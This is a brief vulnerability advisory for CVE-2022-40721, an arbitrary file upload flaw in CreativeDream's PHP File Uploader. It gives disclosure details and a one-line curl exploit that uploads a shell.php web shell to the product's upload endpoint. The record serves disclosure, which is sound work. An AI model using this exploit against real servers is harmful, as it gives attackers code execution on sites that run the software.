| Title: CreativeDream software arbitrary file upload |
| Author: Larry W. Cashdollar |
| Date: 2022-09-08 |
| CVE IDs:[CVE-2022-40721] |
| Download Site: https://github.com/CreativeDream |
| Vendor: |
| Vendor Notified: 2020-02-19 |
| Vendor Contact: yuliangagarin@mail.ru |
| Advisory: http://www.vapidlabs.com/advisory.php?v=216 |
| Description: PHP File Uploader is an easy to use, hi-performance File Upload Script which allows you to upload/download files to webserver. |
| Vulnerability: The software allows executable file uploads to the web root directory. |
| Export: JSON TEXT XML |
| Exploit Code: curl -vk http://localhost/php-uploader/examples/upload.php -F "files=@shell.php" |
| Screen Shots: |
| Notes: |